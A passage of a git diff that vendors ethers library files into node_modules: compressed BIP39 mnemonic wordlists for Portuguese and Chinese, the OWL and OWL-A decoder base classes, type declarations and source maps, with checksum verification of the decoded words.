End(Er_EuIng'Ir?IvoOl{oRac Revi=RizU&Um0Di$rM-.R>o+TismoT|@Tu 0Ali An%Ar@Ent&Es,I?Is Ul,1Ila1Ar E=Ei%Ulejo:B BosaC&]uCh `C@GagemI+c>~/Se#S)n%Ta)Te=rTidaTomTuc Unil]3B(IjoIr^IsebolLd!eLezaLgaLisc Ndi$Ng&aNz(RimbauRl*d>_Sou_XigaZ(_3CoCu=En&Foc&Furc G|naLhe%Mest[Mo$rOlog@OmboOsf(aPol Rr-$Scoi$Sne$SpoSsex$TolaZ _2Ind#OcoOque 2A$BagemC#CejoChec]Ico.L^LetimL]LoMb{oNdeNecoNi)Rb~h>d>e&R+c]V*oXe?2AncoAsaAvezaEuIgaIl/Inc OaOchu+Onze O$Uxo2C]DismoF LeRacoScaS$Z*a:Bimb Rn{oRpe%R['>)zRv&/SacoScaSeb[S%loS~oT a)Tiv UleUs?U%l V&oV(na3BolaDil]G}]Lebr L~ Nou+N,N%ioRc Rr#R%'oRvejaTimV^2Aco)Al{aAm#Ap^ArmeAticeAveEfeEg^E'oEqueIco%If[In`oOc&/Ov(UmboU.Uva0CatrizCl}eD!eD['aEn%Gcui$Rurg@T 2A[zaE_Ic OneUbe2A=Ag'Ba@B($rBr C^El/Ent_E,Gum`oIb'IfaIo%L L{aLh(Lid'Lme@L}oLunaM<=Mb* M-.MitivaMov(MplexoMumNc]N=rNec.Nfu,Ng` Nhec(Njug Nsum'Nt+$Nvi%Op( P{oPi?PoQue%lRagemRdi&Rne)R}h>p|&R[ioR%joRuj>voSs-oS%laT}e%U_UveVilZ*]2A%+AvoEcheE=rEmeErEspoI^Im*&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ativoXis)3Atr&C(Ci=Cl#Dio,IaIm Lef}eLh#Mp(oN-%N,rN.Rm&RnoRr-oSeSou+St#ToXtu+Xugo3A+G`aJoloMbr MidezNgi=N%'oRagemT~ 5Al]C]L( LiceM^Mil/N`Ntu+Pe%R>ci=RneioRqueRr!>$S.UcaUp{aX*a2Ab&/Acej Adu$rAfeg Aje$AmaAnc ApoAs{oAt?Av E*oEm(Epid EvoIagemIboIcicloId-%Ilog@Ind!eIploItur Iunf&Oc Ombe)OvaUnfoUque2B~ CquesaT` T|i&:7V 3Bigo0HaId!eIf|me3Olog@SoTigaUbu0A=InaUfru':C*aDi G o,I=,LaL-%Lid!eLo[sN)gemQu{oRe)Rr(Sc~ Sil]S,u+Z Zio3A=D Ge.Ic~ L{oLhiceLu=Nce=rNdav&N( Nt[Rb&Rd!eRe?Rg}h>m`/RnizRs R%n%SpaSti=T|i&3Adu$AgemAj Atu+Br?D{aDr @ElaGaG-%Gi G| L ejoNcoNhe)NilOle)R!>tudeSi.S$Tr&V{oZ*/5A=rArG&L<%LeibolL)gemLumo,Nt!e5L$Vuz`a::D[zRope3QueRe.Rife3Ng ::Ng#Rp 3BuL?9Mb Olog@5Mbi="; +const checksum = "0x2219000926df7b50d8aa0a3d495826b988287df4657fbd100e6fe596c8f737ac"; +let wordlist = null; +/** + * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangPt extends wordlist_owl_js_1.WordlistOwl { + /** + * Creates a new instance of the Portuguese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langPt]] should suffice. + * + * @_ignore: + */ + constructor() { super("pt", words, checksum); } + /** + * Returns a singleton instance of a ``LangPt``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangPt(); + } + return wordlist; + } +} +exports.LangPt = LangPt; +//# sourceMappingURL=lang-pt.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-pt.js.map b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.js.map new file mode 100644 index 000000000000..fcb26e443cb2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-pt.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-pt.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-pt.ts"],"names":[],"mappings":";;;AAAA,uDAAgD;AAEhD,MAAM,KAAK,GAAG,s0OAAs0O,CAAC;AACr1O,MAAM,QAAQ,GAAG,oEAAoE,CAAC;AAEtF,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAa,MAAO,SAAQ,6BAAW;IAEnC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,EAAE,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ;AApBD,wBAoBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-zh.d.ts b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.d.ts new file mode 100644 index 000000000000..5d0c14c7ca76 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.d.ts @@ -0,0 +1,32 @@ +import { Wordlist } from "./wordlist.js"; +/** + * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for + * [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangZh extends Wordlist { + /** + * Creates a new instance of the Chinese language Wordlist for + * the %%dialect%%, either ``"cn"`` or ``"tw"`` for simplified + * or traditional, respectively. + * + * This should be unnecessary most of the time as the exported + * [[langZhCn]] and [[langZhTw]] should suffice. + * + * @_ignore: + */ + constructor(dialect: string); + getWord(index: number): string; + getWordIndex(word: string): number; + split(phrase: string): Array; + /** + * Returns a singleton instance of a ``LangZh`` for %%dialect%%, + * creating it if this is the first time being called. + * + * Use the %%dialect%% ``"cn"`` or ``"tw"`` for simplified or + * traditional, respectively. + */ + static wordlist(dialect: string): LangZh; +} +//# sourceMappingURL=lang-zh.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-zh.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.d.ts.map new file mode 100644 index 000000000000..7b96b48e2e3c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-zh.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-zh.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AA2DzC;;;;;GAKG;AACH,qBAAa,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;;;OASG;gBACS,OAAO,EAAE,MAAM;IAE3B,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAO9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;IAIlC,KAAK,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC;IAKpC;;;;;;OAMG;IACH,MAAM,CAAC,QAAQ,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM;CAM3C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-zh.js b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.js new file mode 100644 index 000000000000..44aded992c51 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.js @@ -0,0 +1,96 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangZh = void 0; +const index_js_1 = require("../hash/index.js"); +const index_js_2 = require("../utils/index.js"); +const wordlist_js_1 = require("./wordlist.js"); +const data = "}aE#4A=Yv&co#4N#6G=cJ&SM#66|/Z#4t&kn~46#4K~4q%b9=IR#7l,mB#7W_X2*dl}Uo~7s}Uf&Iw#9c&cw~6O&H6&wx&IG%v5=IQ~8a&Pv#47$PR&50%Ko&QM&3l#5f,D9#4L|/H&tQ;v0~6n]nN> 2), + 128 + codes.indexOf(data[i * 3 + 1]), + 128 + codes.indexOf(data[i * 3 + 2]), + ]; + if (locale === "zh_tw") { + const common = s % 4; + for (let i = common; i < 3; i++) { + bytes[i] = codes.indexOf(deltaData[deltaOffset++]) + ((i == 0) ? 228 : 128); + } + } + wordlist.push((0, index_js_2.toUtf8String)(new Uint8Array(bytes))); + } + // Verify the computed list matches the official list + const checksum = (0, index_js_1.id)(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== Checks[locale]) { + throw new Error(`BIP39 Wordlist for ${locale} (Chinese) FAILED`); + } + /* c8 ignore stop */ + _wordlist[locale] = wordlist; + return wordlist; +} +const wordlists = {}; +/** + * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for + * [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangZh extends wordlist_js_1.Wordlist { + /** + * Creates a new instance of the Chinese language Wordlist for + * the %%dialect%%, either ``"cn"`` or ``"tw"`` for simplified + * or traditional, respectively. + * + * This should be unnecessary most of the time as the exported + * [[langZhCn]] and [[langZhTw]] should suffice. + * + * @_ignore: + */ + constructor(dialect) { super("zh_" + dialect); } + getWord(index) { + const words = loadWords(this.locale); + (0, index_js_2.assertArgument)(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords(this.locale).indexOf(word); + } + split(phrase) { + phrase = phrase.replace(/(?:\u3000| )+/g, ""); + return phrase.split(""); + } + /** + * Returns a singleton instance of a ``LangZh`` for %%dialect%%, + * creating it if this is the first time being called. + * + * Use the %%dialect%% ``"cn"`` or ``"tw"`` for simplified or + * traditional, respectively. + */ + static wordlist(dialect) { + if (wordlists[dialect] == null) { + wordlists[dialect] = new LangZh(dialect); + } + return wordlists[dialect]; + } +} +exports.LangZh = LangZh; +//# sourceMappingURL=lang-zh.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-zh.js.map b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.js.map new file mode 100644 index 000000000000..9e71fde81bef --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-zh.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-zh.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-zh.ts"],"names":[],"mappings":";;;AAAA,+CAAsC;AACtC,gDAAiE;AAEjE,+CAAyC;AAGzC,MAAM,IAAI,GAAG,kgMAAkgM,CAAC;AAChhM,MAAM,SAAS,GAAG,6lDAA6lD,CAAC;AAGhnD,MAAM,SAAS,GAAyC;IACpD,KAAK,EAAE,IAAI;IACX,KAAK,EAAE,IAAI;CACd,CAAA;AAED,MAAM,MAAM,GAA2B;IACnC,KAAK,EAAE,oEAAoE;IAC3E,KAAK,EAAE,oEAAoE;CAC9E,CAAA;AAED,MAAM,KAAK,GAAG,kEAAkE,CAAC;AACjF,MAAM,KAAK,GAAG,4BAA4B,CAAA;AAE1C,SAAS,SAAS,CAAC,MAAc;IAC7B,IAAI,SAAS,CAAC,MAAM,CAAC,IAAI,IAAI,EAAE;QAAE,OAAO,SAAS,CAAC,MAAM,CAAkB,CAAC;KAAE;IAE7E,MAAM,QAAQ,GAAkB,EAAE,CAAC;IAEnC,IAAI,WAAW,GAAG,CAAC,CAAC;IACpB,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,IAAI,EAAE,CAAC,EAAE,EAAE;QAC3B,MAAM,CAAC,GAAG,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;QACrC,MAAM,KAAK,GAAG;YACV,GAAG,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;YACd,GAAG,GAAG,KAAK,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,GAAG,CAA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I,CAAC,MAAM,CAAC,CAAC;QACrC,IAAA,yBAAc,EAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,KAAK,CAAC,MAAM,EAC7C,uBAAwB,KAAM,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACtD,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,IAAY;QACrB,OAAO,SAAS,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IAChD,CAAC;IAED,KAAK,CAAC,MAAc;QAChB,MAAM,GAAG,MAAM,CAAC,OAAO,CAAC,gBAAgB,EAAE,EAAE,CAAC,CAAC;QAC9C,OAAO,MAAM,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAC5B,CAAC;IAED;;;;;;OAMG;IACH,MAAM,CAAC,QAAQ,CAAC,OAAe;QAC3B,IAAI,SAAS,CAAC,OAAO,CAAC,IAAI,IAAI,EAAE;YAC5B,SAAS,CAAC,OAAO,CAAC,GAAG,IAAI,MAAM,CAAC,OAAO,CAAC,CAAC;SAC5C;QACD,OAAO,SAAS,CAAC,OAAO,CAAC,CAAC;IAC9B,CAAC;CACJ;AA3CD,wBA2CC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.d.ts b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.d.ts new file mode 100644 index 000000000000..c4d1efc05746 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.d.ts @@ -0,0 +1,32 @@ +import { Wordlist } from "./wordlist.js"; +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export declare class WordlistOwl extends Wordlist { + #private; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale: string, data: string, checksum: string); + /** + * The OWL-encoded data. + */ + get _data(): string; + /** + * Decode all the words for the wordlist. + */ + _decodeWords(): Array; + getWord(index: number): string; + getWordIndex(word: string): number; +} +//# sourceMappingURL=wordlist-owl.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.d.ts.map new file mode 100644 index 000000000000..fe49ddf8dafd --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owl.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owl.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAEzC;;;;;;;;;;;GAWG;AACH,qBAAa,WAAY,SAAQ,QAAQ;;IAIrC;;;OAGG;gBACS,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM;IAO1D;;OAEG;IACH,IAAI,KAAK,IAAI,MAAM,CAAuB;IAE1C;;OAEG;IACH,YAAY,IAAI,KAAK,CAAC,MAAM,CAAC;IAsB7B,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAM9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;CAGrC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.js b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.js new file mode 100644 index 000000000000..12a83fda75c3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.js @@ -0,0 +1,70 @@ +"use strict"; +// Use the encode-latin.js script to create the necessary +// data files to be consumed by this class +Object.defineProperty(exports, "__esModule", { value: true }); +exports.WordlistOwl = void 0; +const index_js_1 = require("../hash/index.js"); +const index_js_2 = require("../utils/index.js"); +const decode_owl_js_1 = require("./decode-owl.js"); +const wordlist_js_1 = require("./wordlist.js"); +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +class WordlistOwl extends wordlist_js_1.Wordlist { + #data; + #checksum; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale, data, checksum) { + super(locale); + this.#data = data; + this.#checksum = checksum; + this.#words = null; + } + /** + * The OWL-encoded data. + */ + get _data() { return this.#data; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return (0, decode_owl_js_1.decodeOwl)(this.#data); + } + #words; + #loadWords() { + if (this.#words == null) { + const words = this._decodeWords(); + // Verify the computed list matches the official list + const checksum = (0, index_js_1.id)(words.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== this.#checksum) { + throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`); + } + /* c8 ignore stop */ + this.#words = words; + } + return this.#words; + } + getWord(index) { + const words = this.#loadWords(); + (0, index_js_2.assertArgument)(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return this.#loadWords().indexOf(word); + } +} +exports.WordlistOwl = WordlistOwl; +//# sourceMappingURL=wordlist-owl.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.js.map b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.js.map new file mode 100644 index 000000000000..b9e9125be265 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owl.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owl.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owl.ts"],"names":[],"mappings":";AACA,yDAAyD;AACzD,0CAA0C;;;AAE1C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,KAAM,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACrG,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,IAAY;QACrB,OAAO,IAAI,CAAC,UAAU,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IAC3C,CAAC;CACJ;AAtDD,kCAsDC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.d.ts b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.d.ts new file mode 100644 index 000000000000..c87022dfc769 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.d.ts @@ -0,0 +1,30 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export declare class WordlistOwlA extends WordlistOwl { + #private; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale: string, data: string, accent: string, checksum: string); + /** + * The OWLA-encoded accent data. + */ + get _accent(): string; + /** + * Decode all the words for the wordlist. + */ + _decodeWords(): Array; +} +//# sourceMappingURL=wordlist-owla.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.d.ts.map new file mode 100644 index 000000000000..97ed583b8e76 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owla.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owla.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAGhD;;;;;;;;;;;GAWG;AACH,qBAAa,YAAa,SAAQ,WAAW;;IAIzC;;;OAGG;gBACS,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM;IAK1E;;OAEG;IACH,IAAI,OAAO,IAAI,MAAM,CAAyB;IAE9C;;OAEG;IACH,YAAY,IAAI,KAAK,CAAC,MAAM,CAAC;CAGhC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.js b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.js new file mode 100644 index 000000000000..116d0ac99d86 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.js @@ -0,0 +1,40 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.WordlistOwlA = void 0; +const wordlist_owl_js_1 = require("./wordlist-owl.js"); +const decode_owla_js_1 = require("./decode-owla.js"); +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +class WordlistOwlA extends wordlist_owl_js_1.WordlistOwl { + #accent; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale, data, accent, checksum) { + super(locale, data, checksum); + this.#accent = accent; + } + /** + * The OWLA-encoded accent data. + */ + get _accent() { return this.#accent; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return (0, decode_owla_js_1.decodeOwlA)(this._data, this._accent); + } +} +exports.WordlistOwlA = WordlistOwlA; +//# sourceMappingURL=wordlist-owla.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.js.map b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.js.map new file mode 100644 index 000000000000..8a030c4ed0a0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist-owla.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owla.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owla.ts"],"names":[],"mappings":";;;AACA,uDAAgD;AAChD,qDAA8C;AAE9C;;;;;;;;;;;GAWG;AACH,MAAa,YAAa,SAAQ,6BAAW;IACzC,OAAO,CAAS;IAGhB;;;OAGG;IACH,YAAY,MAAc,EAAE,IAAY,EAAE,MAAc,EAAE,QAAgB;QACtE,KAAK,CAAC,MAAM,EAAE,IAAI,EAAE,QAAQ,CAAC,CAAC;QAC9B,IAAI,CAAC,OAAO,GAAG,MAAM,CAAC;IAC1B,CAAC;IAED;;OAEG;IACH,IAAI,OAAO,KAAa,OAAO,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC;IAE9C;;OAEG;IACH,YAAY;QACR,OAAO,IAAA,2BAAU,EAAC,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;IAChD,CAAC;CACJ;AAxBD,oCAwBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist.d.ts b/node_modules/ethers/lib.commonjs/wordlists/wordlist.d.ts new file mode 100644 index 000000000000..cb843f3e1575 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist.d.ts @@ -0,0 +1,47 @@ +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +export declare abstract class Wordlist { + locale: string; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale: string); + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase: string): Array; + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words: Array): string; + /** + * Maps an 11-bit value into its coresponding word in the list. + * + * Sub-classes MUST override this. + */ + abstract getWord(index: number): string; + /** + * Maps a word to its corresponding 11-bit value. + * + * Sub-classes MUST override this. + */ + abstract getWordIndex(word: string): number; +} +//# sourceMappingURL=wordlist.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/wordlist.d.ts.map new file mode 100644 index 000000000000..6ba6025d598f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist.ts"],"names":[],"mappings":"AAEA;;;;GAIG;AACH,8BAAsB,QAAQ;IAC1B,MAAM,EAAG,MAAM,CAAC;IAEhB;;;;;;;;;OASG;gBACS,MAAM,EAAE,MAAM;IAI1B;;;;;;OAMG;IACH,KAAK,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC;IAIpC;;;;;OAKG;IACH,IAAI,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG,MAAM;IAIlC;;;;OAIG;IACH,QAAQ,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAEvC;;;;OAIG;IACH,QAAQ,CAAC,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;CAC9C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist.js b/node_modules/ethers/lib.commonjs/wordlists/wordlist.js new file mode 100644 index 000000000000..0b5980116bfc --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist.js @@ -0,0 +1,46 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Wordlist = void 0; +const index_js_1 = require("../utils/index.js"); +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +class Wordlist { + locale; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale) { + (0, index_js_1.defineProperties)(this, { locale }); + } + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase) { + return phrase.toLowerCase().split(/\s+/g); + } + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words) { + return words.join(" "); + } +} +exports.Wordlist = Wordlist; +//# sourceMappingURL=wordlist.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlist.js.map b/node_modules/ethers/lib.commonjs/wordlists/wordlist.js.map new file mode 100644 index 000000000000..069e9c15f94f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlist.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist.ts"],"names":[],"mappings":";;;AAAA,gDAAqD;AAErD;;;;GAIG;AACH,MAAsB,QAAQ;IAC1B,MAAM,CAAU;IAEhB;;;;;;;;;OASG;IACH,YAAY,MAAc;QACtB,IAAA,2BAAgB,EAAW,IAAI,EAAE,EAAE,MAAM,EAAE,CAAC,CAAC;IACjD,CAAC;IAED;;;;;;OAMG;IACH,KAAK,CAAC,MAAc;QAChB,OAAO,MAAM,CAAC,WAAW,EAAE,CAAC,KAAK,CAAC,MAAM,CAAC,CAAA;IAC7C,CAAC;IAED;;;;;OAKG;IACH,IAAI,CAAC,KAAoB;QACrB,OAAO,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAC3B,CAAC;CAeJ;AAnDD,4BAmDC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.d.ts b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.d.ts new file mode 100644 index 000000000000..d0dbd19c9277 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.d.ts @@ -0,0 +1,3 @@ +import type { Wordlist } from "./wordlist.js"; +export declare const wordlists: Record; +//# sourceMappingURL=wordlists-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.d.ts.map new file mode 100644 index 000000000000..cebd601ebd18 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-browser.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-browser.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAE9C,eAAO,MAAM,SAAS,EAAE,MAAM,CAAC,MAAM,EAAE,QAAQ,CAE9C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.js b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.js new file mode 100644 index 000000000000..569f5ca126f8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/wordlists-browser.js @@ -0,0 +1,8 @@ +"use strict"; 